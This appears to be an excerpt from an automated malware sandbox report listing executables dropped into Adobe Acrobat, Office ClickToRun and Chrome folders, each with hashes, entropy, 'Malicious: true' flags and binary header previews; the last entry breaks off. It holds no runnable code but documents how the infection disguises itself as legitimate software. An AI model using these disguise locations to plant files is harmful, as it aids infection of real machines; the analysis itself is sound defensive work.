Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......K..*...y...y...y...y...y..x...y..x...y..x...y..x-..y..Ey...yb.x...y...y..yN.x...yN.}y...yN.x...yRich...y........PE..L...<..[................. ...................0....@...........................!.....x...............................................0...............................J..p....................K.......J..@............0...............................text... ........ .................. ..`.rdata.......0.......$..............@..@.data....E.......B..................@....rsrc........0......................@..@.reloc.......@......................@...................................................................................................................................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1298944
Entropy (8bit):	4.525819027211604
Encrypted:	false
SSDEEP:	12288:FiJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:J/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	95DD6F8751EA981CCDB81574D536C0E6
SHA1:	529EEA094D1722A18EA684B22D425132C8F87E55
SHA-256:	9BDA175575322D1BEF74B83781A6A5CAE5ED074F5CA26334E09562E80F3F5E18
SHA-512:	848A160ED4A830165C2EDB192D9730A607BE45A5E69EE731434F6960C6DB809313B6E36BAC3117D4CAA9C52C68AC83C5329EF4DD18B89626C71A079DB8F68931
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................+.............................................................G.............Rich............................PE..d...~^.c.........."..........$......p..........@.......................................... ..................................................;.......p.......`......................d4..p............................4..8............0..0............................text...\|........................... ..`.rdata.......0......................@..@.data........P.......,..............@....pdata.......`......................@..@.rsrc........p.......0..............@..@.reloc...`...........2..............@...................................................................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1317376
Entropy (8bit):	4.555413290524092
Encrypted:	false
SSDEEP:	12288:8PiJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:C/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	4C51E4C18AB2D6FA35EF10783EE930FB
SHA1:	8D6A6A3B7361178561547CFBC08A2AE9E6C86AA7
SHA-256:	C61221D5891C30C580E06084128665BB4F2F111A33C8263C98DDB6C8362805D5
SHA-512:	B5D331F194A1134657B28AB9C89C14B59CEB4089A9CA4FFA9A55FA7DB32C5867C2029657565AD441CC395F3D3277C01FD192A65964F75467B283FA8012A4DD36
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......2\.v=..v=..v=...E?.x=..I..\|=..I..u=..I..j=..I..p=..bV..q=..v=...=..I..t=..IS.w=..v=;.w=..I..w=..Richv=..........................PE..d....^.c.........."......<...B.......>.........@.....................................b.... ..................................................i..........P.......,...................`X..T............................X..8............P...............................text....;.......<.................. ..`.rdata..$'...P...(...@..............@..@.data................h..............@....pdata..,............l..............@..@.rsrc...P............r..............@..@.reloc...`...........z..............@...........................................................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4151808
Entropy (8bit):	6.497762005502425
Encrypted:	false
SSDEEP:	49152:utuUC0nNc/RcYHCY9AWWnURqdHIEogMAYrukdUmSC+bXMZQU1QqpN755KLNiXico:ujEIa4HIEWOc5k7wRGpj3
MD5:	1B71A4CDA8F84AEB60AC9DBC08DADA83
SHA1:	ACA579247708A756A8607A4307476A0D6355D027
SHA-256:	CEE212BE6A22EDA7B8D6E0A565FEB87BB01B9F9D2DEFDF74C84D80F7E482D359
SHA-512:	08A9EA01711E0DF0F565A261EB3761FF6C8A9854863C100957D23BAEC257D79EE06934F651DC332CAC7F312A2AD38D1199476077E96076809AF74BE1FD69E8B2
Malicious:	true
Preview:	MZ......................@...................................0...........!..L.!This program cannot be run in DOS mode....$........x...............r.......r.......r.......v$.....>m......>m......>m.......r...............r..............<m......<m......<m&.......N.....<m......Rich............................PE..d...<..d.........."......:....................@............................. @......?... .........................................0.%.......%......0)......p'.......................!.T.....................!.(....s .8............P......l.%......................text....8.......:.................. ..`.rdata.......P.......>..............@..@.data....D... &.......&.............@....pdata.......p'.......&.............@..@.didat........).......(.............@..._RDATA....... ).......(.............@..@.rsrc........0).......(.............@..@.reloc...@....6..0...*6.............@...................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	59941376
Entropy (8bit):	7.9993603615200835
Encrypted:	true
SSDEEP:	1572864:uQb5m2CYw2bheyHA2DiAVPNqCPiQwm9tqGWS15Vj9QVqd2+NAs:tXhwMhe6AABPiQwF6xQ22R
MD5:	E8EBB090C204B0541B0B81197D38C96E
SHA1:	1FEFF4827ACFDAF0A36F4FF4A3C93E3EE11D0AC2
SHA-256:	184C2A7AF4F1F3FBF8C0D0D10F78400183CE30B6BD6A15367D73F809293FD593
SHA-512:	812463B5505CF2D00F40260E40446112F34BD5F2FC4348E384472EA1EC197D94D58DAB26D63D621F082BC0612ED83460F68AD9520EF795E72F7616F2EE661DC1
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......;......J...J...Jk.Kt..Jk.Kl..Jk.K..J..Kn..J..Ku..J..K+..Jk.Kt..J...J..J..Kf..J..Kt..J..@J~..J..(J}..J..K~..JRich...J................PE..d...z..d..........".................3.........@.............................0......0e.... .....................................................x....`.........06..................8%..T....................&..(...Pg..8............ ......@...@....................text............................... ..`.rdata...}... ...~..................@..@.data...TS..........................@....pdata..06.......8..................@..@.didat..x....@......................@..._RDATA.......P......................@..@.rsrc.......`.....................@..@.reloc.......@.....................@...................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1385984
Entropy (8bit):	4.708811948840973
Encrypted:	false
SSDEEP:	24576:+jkYzj/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:2/zjLNiXicJFFRGNzj3
MD5:	15BD5AF58009876755C19CF68F78D72C
SHA1:	9FB03D8264B6EA6EABA33C4CBF4E6DA3A66AF45F
SHA-256:	A7F47588332A5E7F153C7BFAD7AF6F710494E1C6E6B4026E9AA988521C488811
SHA-512:	6B28AEAD1812E26861C2B4C543446EA041A4171DE25183A001541D8511EA634C5CB64560A96AFCDBC5167157D3A1E221EE4E6F372D5D953A0ECAA948A8897AC9
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.....................b....6......6......6.....6.....................M..4......4......4........f....4.....Rich...........................PE..L.....{d.................&...`...............@....@.......................... ..............................................r..,................................... O..p....................P.......O..@............@..4............................text....%.......&.................. ..`.rdata...@...@...B...*..............@..@.data................l..............@....rsrc................p..............@..@.reloc...p...........v..............@...................................................................................................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\64BitMAPIBroker.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1540608
Entropy (8bit):	4.938624208444548
Encrypted:	false
SSDEEP:	24576:OxwSJikrmZsX/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:OylkrKsXLNiXicJFFRGNzj3
MD5:	6EE4A4C89AF7276E8FBA8C20FF0579AB
SHA1:	02632ED4445D8E2D492CFFBBF2690A215804687C
SHA-256:	78B0CA5DB9AF2C43B9EEB537C8D7B2F8D70ACCFAD7D3A69D7D03350D8C43FDDD
SHA-512:	EA922D00D7D59C0EA3D15DA54D90ED63EFEC46FD23E3E8429EDBFD96DDF911F353DECCF15021E8955827AB02738407575ADADA7F110780495E120616FAB50A5E
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........................y...5.......5.....5......7.......................7.....7.Z....2...7.....Rich..........................PE..d.....{d.........."..........<.......&.........@..............................".....2I.... .................................................`...x.... ..............................`j..p....................l..(....j..8............................................text...l........................... ..`.rdata..............................@..@.data...4#..........................@....pdata........... ..................@..@_RDATA..............................@..@.rsrc........ ......................@..@.reloc...`...0......................@...................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1804800
Entropy (8bit):	5.250411193119384
Encrypted:	false
SSDEEP:	24576:LHQJLIRIvsnNG/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:LHQJLP4GLNiXicJFFRGNzj3
MD5:	3C6DEA03A99F4D6B8B6531A871BF1290
SHA1:	6C9C827AA72E6ED5DF2AA28F0A903B8F3FE90EC2
SHA-256:	0196DB402413212E6390F77D0FC62A48D0395FE5BB9A5DD51429D6E681929E72
SHA-512:	B74FBF6F65684EA6752806DA57DB09C443BAF5A14A1BDBBEC5C66EA0A2B72774DE779110E8399A9058A7CE5DD0BC4EB7EA77A2302C6CABFF8E8FC699016D3A5F
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........L<."o."o."o...o.."o+.&n.."o+.!n.."o+.#n."o+.'n."o..$n."o..#n.."o).+n.."o.#o;."o).'n."o)..o."o). n."oRich."o........PE..d......d.........."......\.....................@..............................&......6.... .................................................."..@....0...........W..................x...T.......................(...`...8............p..........`....................text....[.......\.................. ..`.rdata.......p.......`..............@..@.data....^...P...R...2..............@....pdata...W.......X..................@..@.didat..8...........................@....msvcjmc..... ......................@....rsrc........0......................@..@.reloc...`...@......................@...................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5365760
Entropy (8bit):	6.448977448373917
Encrypted:	false
SSDEEP:	49152:CUZujDjDjDjXmXgoz2PsapFQrC7dRpqbeE8U2IzwDt+bdro4O8b8ITDnlggyJ1kY:NWmXL6DEC7dRpKuDQbgZ7wRGpj3
MD5:	5C5D09A063236DF19073CD763EB77EF8
SHA1:	18169CA9A50D610AF4A2BB9A683E55816329F255
SHA-256:	BABAB7182A30B1B59A3701A542DA88C6E02FCB482697A08B3B6B6FBF85A461F7
SHA-512:	A070D85AF7063A044CA3A40603A6B170D7F866AEBFFF11FAB35A16B80617CF950005F7FCB693C1621EB36A9598779FA921FC3EEA9B12D47BB0EB59B4E0499E3D
Malicious:	true
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$........I.~.(g-.(g-.(g-.Cd,.(g-.Cb,i(g-.G.-.(g-b\c,.(g-b\d,.(g-.t.-.(g-.(g-C(g-b\b,.(g-.Cc,.(g-.Ca,.(g-.Cf,.(g-.(f-.+g-`\b,.(g-`\g,.(g-`\.-.(g-.(.-.(g-`\e,.(g-Rich.(g-........PE..L......d.........."......./..p......P"%.......0...@...........................R.......R..............................@:......@:.......;..V...........................^6.T...................._6.....h.5.@.............0...... :.`....................text...*./......./................. ..`.rdata..Ze....0..f....0.............@..@.data....E....:......h:.............@....didat........;......B;.............@....rsrc....V....;..X...H;.............@..@.reloc...P...@G..@....F.............@...........................................................................................................................................................................................................................

C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3163136
Entropy (8bit):	7.971963747221543
Encrypted:	false
SSDEEP:	98304:ArZ23AbsK6Ro022JjL2WEiVqJZq7wRGpj3:KJADmmxL2WEoCZ+F9
MD5:	24E8AD57E12741C675E3D177CB2CD447
SHA1:	D7DB989EAD347A5D83736A2A1A72C63D04407669
SHA-256:	70DF4ACDE4DF6A40B4A90E6C2AE0CFD7045D892DC99EB2E0C5947D238C1E7A00
SHA-512:	876AE6D1FB927B9393800ABD25F4D9A09AE965C73AE53B95CCAB21942145F61E7BE8E317EA44A49B7B695520D615A55ED5563767900B82FD4F2946B2BA30F84B
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......5{.!q..rq..rq..rq..r...rQc.r`..rQc.r`..rQc.rp..rQc.rp..rRichq..r........................PE..L.....A.................~... .......^... ........... ........................1.......0.......... .....................................0............................!............................................... ...............................text....\|... ...~.................. ..`.data...............................@....rsrc...../......./.................@...................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1213440
Entropy (8bit):	7.197635569571684
Encrypted:	false
SSDEEP:	24576:nfrYY42wd7hlOw9fpkEE64n/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:+z9xrSnLNiXicJFFRGNzj3
MD5:	AFE6B89EBB1895D5B636C3D0B95041AF
SHA1:	D7EDA19B92A14C0F39FC94C7065FE8101B63D797
SHA-256:	529542EB48CD496A72D2C1B50373C69B6F26A0CCDFF7A40C75999A1A73FC81FD
SHA-512:	72D5738CF33F3BA803CBFAC60FA060C2EB5F154A8B71455EA1DF5007A611AB1379A0E787640B050D3AF2EFB9DCAA140455A974F3CEC3424BEED0ADC636F02026
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......@......T...T...T...U...T...U...T..U...T..U...T...U...T..U...T...U...T...Tf..T..U...T..T...T..uT...T..U...TRich...T................PE..d.....{d..........#......J...........3.........@............................. ............ ..................................................L.......`..........(J..................p...T.......................(... B..8............`.......I..`....................text....H.......J.................. ..`.rdata..d....`.......N..............@..@.data...(w...p...&...^..............@....pdata..(J.......L..................@..@.didat.......@......................@..._RDATA.......P......................@..@.rsrc........`......................@...................................................................................................................................................................................................

C:\Program Files\Common Files\microsoft shared\ClickToRun\AppVShNotify.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1544192
Entropy (8bit):	4.839830514209171
Encrypted:	false
SSDEEP:	24576:5zNKUc5k/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:5zNrc5kLNiXicJFFRGNzj3
MD5:	02483B0F9151421F2FE54B8D9926E1AB
SHA1:	CE8FE2B59C5282ABCD7F4CDE35258E38CEC47111
SHA-256:	B974E8E0D4EDB9CD1ADF54D6F0FB8A70938EB30CC3303FC03DE0409242994F9E
SHA-512:	519C9B6C1F34A2A256310D06186432C9682EF9DB5E66B5E621A3F2B8A7B358AAC85477BB21E174A29A0FEC698F7AB553D5CB0316145EDB159F173766D77F7212
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........E@..$...$...$...\...$...V*..$...V-..$...V+..$...V/..$...$/.0 ...V&..$...V..$...V..$...V,..$..Rich.$..........PE..d...!!.R.........."......`..........0C.........@.............................`"........... .......... ......................................Xl..........X.......d.......................T...................8...(.......8...........`...`............................text...(X.......`.................. ..`.rdata..z....p... ...p..............@..@.data...............................@....pdata..d........ ..................@..@.rsrc...X...........................@..@.reloc..............................@...................................................................................................................................................................................................................................................................

C:\Program Files\Common Files\microsoft shared\ClickToRun\IntegratedOffice.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	5855744
Entropy (8bit):	6.572802642956546
Encrypted:	false
SSDEEP:	98304:2ALuzDKnxCp3JKNrPJzruaI6HMaJTtGbd7wRGpj3:RaGg3cFPIaI6HMaJTtGbhF9
MD5:	167876088AA61973BB90A05509082E12
SHA1:	FD04D18DA23D9E64D5CA559A72149C8D91CF890F
SHA-256:	54FAAAEE4EF19A36D338418C3ADF79C8486CD76138DC51AFAA17D29E80168ED0
SHA-512:	54AEE35181C06F0350327B497820857300FC73D4025D3CFAA70B9E949B859C570569970154D8769C43664EC23BC16FD52CBAEDEFF0368C495DC4A763652E45CF
Malicious:	true
Preview:	MZ......................@...................................0...........!..L.!This program cannot be run in DOS mode....$.......Jc.M.............p......nx......nx......).......)........p.......p.......p..&....p..............nx..i...kx......kx......kx..g...kxx.............kx......Rich....................PE..d....".e..........".... .z6..........32........@..............................Y.....NZY... .................................................8.B.......K..a...PI..%..................0.B.8...................X.B.(.....7.@.............6.0.....B......................text....y6......z6................. ..`.rdata..5.....6......~6.............@..@.data...`....0G.......G.............@....pdata...%...PI..&...:I.............@..@.didat.. .....K......`K.............@..._RDATA..\.....K......fK.............@..@.rsrc....a....K..b...hK.............@..@.reloc........P.......O.............@...................................................................................................................

C:\Program Files\Common Files\microsoft shared\ClickToRun\MavInject32.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1468416
Entropy (8bit):	4.89510451612172
Encrypted:	false
SSDEEP:	24576:DXr/SV0xW7/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:nNxqLNiXicJFFRGNzj3
MD5:	F2AC00DADA3C3F14BFDF6271DA91C42D
SHA1:	D4E151A9EF6DF85105D2AE4E95476C492DD9069C
SHA-256:	31EA818B452664A06D99EAB47A7FD71AB471C185C85BF1D932326645FD85A56C
SHA-512:	949ECCDA88E3D5BADACD6BB53DACF882D5D9F72C800FB02C191A6669E3E81660E289795B350E10A98C2060B3CCEED3795A2C4D8FC70CA31EA75B6E0D4B8F998F
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........K.k...k...k.......k.......k.......k.......k...k..Ro.......k....l..k.......k....n..k.......k..Rich.k..........PE..L...9.A/.....................T......@V............@..........................`!.....CM........... ......................................8............................_..T...............................@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...8...........................@..@.reloc..............................@...........................................................................................................................................................................................................................................................................................................................

C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeC2RClient.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	27533312
Entropy (8bit):	6.248205425038311
Encrypted:	false
SSDEEP:	196608:mhRrmpGpGdJM7Hbp8JfrCGvqYYuNDmoefAlprtPz25HqaI6HMaJTtGbQO9F9:mhRCpGpMJMrbp8JjpNdNlc5E9
MD5:	74D31F8480DC4B58C58AFEA7AB73F69D
SHA1:	78EDA6FDEE24BADC9CE7BC303C3D27943A6D2063
SHA-256:	FF5F2F6B242B4809EC0876E19735612B8C8F79E883716C89E39AF41929B23246
SHA-512:	D550C491EB65908D02E20CD3C2EDE6B14205E866FC846AC03FEF94E8F1332111704586024459B540EC54E82D635CED8A624A6728C782F82C23BEA11C8BD22248
Malicious:	true
Preview:	MZ......................@...................................H...........!..L.!This program cannot be run in DOS mode....$.......$.\|+`{.x`{.x`{.xi..xv{.x...yf{.x...yj{.x...yd{.x...yO{.xG..xh{.xG.oxa{.x...yb{.x...ya{.x...ya{.x...yd{.x...yc{.x...y~{.x...y}{.x`{.xTs.x...ya{.x...yjz.x...y v.x...xa{.x`{.xa{.x...ya{.xRich`{.x........PE..d......e..........".... .....H.................@......................................... ..................................................u..D.... ?...X...7.........................8....................U..(...`...@............0.. "..l .......................text............................... ..`.rdata..S.~..0....~.................@..@.data.........1.......0.............@....pdata........7.......7.............@..@.didat..`.....>.......>.............@....detourc.!....>.."....>.............@..@.rsrc.....X.. ?...X...>.............@..@.reloc..............................@...........................................................................................

C:\Program Files\Common Files\microsoft shared\ClickToRun\appvcleaner.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2199552
Entropy (8bit):	6.784003992325181
Encrypted:	false
SSDEEP:	49152:V83pZ3kd0CuEeN0LUmRXzYs65mBLNiXicJFFRGNzj3:FKuUQY1527wRGpj3
MD5:	C0CE32EB739F12EED497D9D6D51010CD
SHA1:	7046EA5D0D7CA330D09EB4DC92C7FB405A828845
SHA-256:	9EFFA174619D5F6856E35B62D4470FFD2AD82599487E4EFF18EA91EB7E2869CE
SHA-512:	90288F5F57DECD56825180786D0BC5CAA056D03BAC650C664A96BC55A767A4DDB7B68050D0FB8EFA35210FD6FC1D6C30EDF1F107A761D3C4533422CAAF135CF8
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......D................7......................!..............~............Y.......[............Rich............PE..d...rq............"..................$.........@..............................!....../"... .......... ......................................P...\|....p... ......L....................a..T...................Xt..(... s..8............t...............................text...6........................... ..`.rdata..............................@..@.data...@...........................@....pdata..L...........................@..@.rsrc.... ...p...0...P..............@..@.reloc... ..........................@...................................................................................................................................................................................................................................................................

C:\Program Files\Common Files\microsoft shared\ClickToRun\officesvcmgr.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4971008
Entropy (8bit):	6.668981209185655
Encrypted:	false
SSDEEP:	49152:aErw1zDb1mZtOoGpDYdSTtWXy4eqH8nYAmoBvYQugWupoI6bAGOpndOPcptz6+Mp:0A4oGlcR+glEdOPKzgVZb7wRGpj3
MD5:	36340CAA75B83579707A0DC94A95CE53
SHA1:	FEBDC8D53ED2146E89B2FF76B584AD63435D9CA9
SHA-256:	55DD644129A6F57D14A0FA76387C58FCCFE2B06517BC242287168C00A10542CC
SHA-512:	F666740BD5D21266DE6012AC48B3BCCC7DCB5BC883359FF7B01A718B9D8140A960A0A12A5F637B739348A48F184070C27BA9553023D10ECE9E23964DB986BA12
Malicious:	true
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......Eh.<..{o..{o..{o.q.o..{oaszn..{oas~n*.{oas.n..{oasxn..{o.{}n..{o.{xn..{o.{.n..{o.{zn..{o..zo..{odsxn..{ods~n..{odsrnF.{ods.o..{o...o..{odsyn..{oRich..{o........PE..d...0m.d..........".... ..-.........0p+........@..............................L.....N.K... .................................................HZ:.......B.......@.<C....................:.8...................p.9.(... P..@.............-......H:.@....................text...[.-.......-................. ..`.rdata..9.....-.......-.............@..@.data...x....`>......>>.............@....pdata..<C....@..D....@.............@..@.didat..`.....B......LB.............@....rsrc.........B......PB.............@..@.reloc........B......ZB.............@...........................................................................................................................................................................

C:\Program Files\Google\Chrome\Application\117.0.5938.132\Installer\chrmstp.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4897792
Entropy (8bit):	6.828089538583242
Encrypted:	false
SSDEEP:	49152:j8ErxqTGsitHloGgkiDrCvJVZfEcpwD06LgVCM2hnwLNwiHaGI3Y/685ZYMaWgKa:iv2gM+qwXLg7pPgw/DSZHx7wRGpj3
MD5:	5C7AFCEDBE97B8B02F25BE0A0941E64D
SHA1:	107D3E28E447B1A91A627EC74C1DF8121C1AB905
SHA-256:	CE3ACC5E10618A15938C7A7ACF3EED86043C9A2308B6108EB51F74B1B4865088
SHA-512:	37B184AEA7C47EDBB2810B042CFE6329BBBC14C0B2E87231449D458779E2C30F23B06EADCF0ECD7AC86068A3EBF39E6B87F3441C8203321EB4DE1F531AF38738
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....\|.e.........."......D/......... ..........@..............................L.....I.J... ...........................................6.N.....6.......<......P:.l.....................6......................6.(...`s/.@.............6.8.....6.@....................text....C/......D/................. ..`.rdata......`/......H/.............@..@.data...4:....8.......7.............@....pdata..l....P:.......9.............@..@.00cfg..0.....;.......:.............@..@.gxfg....1....;..2....:.............@..@.retplne.....0<.......:..................tls....A....@<.......:.............@...CPADinfo8....P<.......:.............@...LZMADEC......`<.......:............. ..`_RDATA..\.....<.......:.............@..@malloc_h......<.......:............. ..`.rsrc.........<.......:.............@..@.reloc... ...`C.......A.............@...........................................................

C:\Program Files\Google\Chrome\Application\117.0.5938.132\Installer\setup.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4897792
Entropy (8bit):	6.828091990810047
Encrypted:	false
SSDEEP:	49152:W8ErxqTGsitHloGgkiDrCvJVZfEcpwD06LgVCM2hnwLNwiHaGI3Y/685ZYMaWgKa:Vv2gM+qwXLg7pPgw/DSZHx7wRGpj3
MD5:	BC3BD53869001DC360E9F5BF763CBD15
SHA1:	0F1ADF13DE8F0E19972927F0D3C4171943191BBD
SHA-256:	C109B640E3873CB62E89EE64E15E65EFDB598EA87D5C77FAE28368025BFCBA62
SHA-512:	2B37E31D31385F74F234E3961BB906C5577031E1B1571FDB9A51B32E4824C3BA6ECF0689D7E7468F4F25CDFE2BDD433253D3871DC2FC1C990B34FCB17F25B95B
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....\|.e.........."......D/......... ..........@..............................L.......J... ...........................................6.N.....6.......<......P:.l.....................6......................6.(...`s/.@.............6.8.....6.@....................text....C/......D/................. ..`.rdata......`/......H/.............@..@.data...4:....8.......7.............@....pdata..l....P:.......9.............@..@.00cfg..0.....;.......:.............@..@.gxfg....1....;..2....:.............@..@.retplne.....0<.......:..................tls....A....@<.......:.............@...CPADinfo8....P<.......:.............@...LZMADEC......`<.......:............. ..`_RDATA..\.....<.......:.............@..@malloc_h......<.......:............. ..`.rsrc.........<.......:.............@..@.reloc... ...`C.......A.............@...........................................................

C:\Program Files\Google\Chrome\Application\117.0.5938.132\chrome_pwa_launcher.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2156544
Entropy (8bit):	6.949110056788756
Encrypted:	false
SSDEEP:	24576:7tjqL8fH+8aUbp8D/8+xyWAu/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:BjKK+81FI/8zQLNiXicJFFRGNzj3
MD5:	B09D92DA618129561E8525F0CAEFF1E4
SHA1:	C4DE40BA115E9E07672EE19EBB27DD42897E57EA
SHA-256:	F8D29659BA4101F36597BDDAA8C5A06A82C1881CAEB4E4938399C25FAC5E3DB3
SHA-512:	FF834D4F55B37D712314482AE4D50B5265A82197A33D035D3CE20554CAFD94277B92B8ACFA56BAD05555E2E88C38472C6A82C1BEAFF2736B48C151011C8E0749
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....\|.e.........."......F.....................@.............................P".....(.!... ..........................................X..\...$Y....... ...&......(...................lM......................PL..(...pr..@............_...............................text....D.......F.................. ..`.rdata..$....`.......J..............@..@.data...,.... ......................@....pdata..(...........................@..@.00cfg..0...........................@..@.gxfg....,..........................@..@.retplne.................................tls................................@...LZMADEC............................. ..`_RDATA..\...........................@..@malloc_h............................ ..`.rsrc....&... ...(..................@..@.reloc.......P......................@...................................................................................................

C:\Program Files\Google\Chrome\Application\117.0.5938.132\elevation_service.exe

Download File

Process:	C:\Users\user\Desktop\SetupRST.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2370560
Entropy (8bit):	7.028758799850484
Encrypted:	false
SSDEEP:	49152:iAMsOu3JfCIGnZuTodRFYKBrFDbWpwLNiXicJFFRGNzj3:iAMa38ZuTSB7wRGpj3
MD5:	556D49CA77219E3BD25AA40BE48E900B
SHA1:	26C61531639D4F0E99EA9ED6CB43556485A38EBE
SHA-256:	6BF15477857420B83D8E5F3A5D9E94FCB20B84C47C1F6860EF501E8EB052EBFE
SHA-512:	B74550E8D20BFF670E130B8BA41FA3C5DE10C0ACF3C8EC197E95ECD93E441EED625E37CC9A126E04A69A4D642F7C60B9F801C17C33EC782F66475097B571A0C0
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....\|.e..........".................0..........@..............................%......3$... ..........................................}..Z...Z}...............@..`...................$k.......................j..(.......@............... ............................text...V........................... ..`.rdata..Hv.......x..................@..@.data...t....`.......>..............@....pdata..`....@.......6..............@..@.00cfg..0...........................@..@.gxfg....+.......,..................@..@.retplne.....@...........................tls....A....P......................@..._RDATA..\....`....... ..............@..@malloc_h.....p.......".............. ..`.rsrc................$..............@..@.reloc...............<..............@...........................................................................................................................................

C:\Program Files\Google\Chrome\Application\117.0.5938.132\notification_helper.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1984512
Entropy (8bit):	7.099931871592123
Encrypted:	false
SSDEEP:	49152:iSK7Fhslq2EPfOGE3LNiXicJFFRGNzj3:3o2cO37wRGpj3
MD5:	82AEBBF07F14DB9577D4E8FC1F5F62D6
SHA1:	A32C5DB426AD7805A31993E4F1DF73742EF29E83
SHA-256:	5F06B5CA2F9B0F2B54B765E7CD92A9D5DB9889969FBC81DEB6F64F14217E1ED3
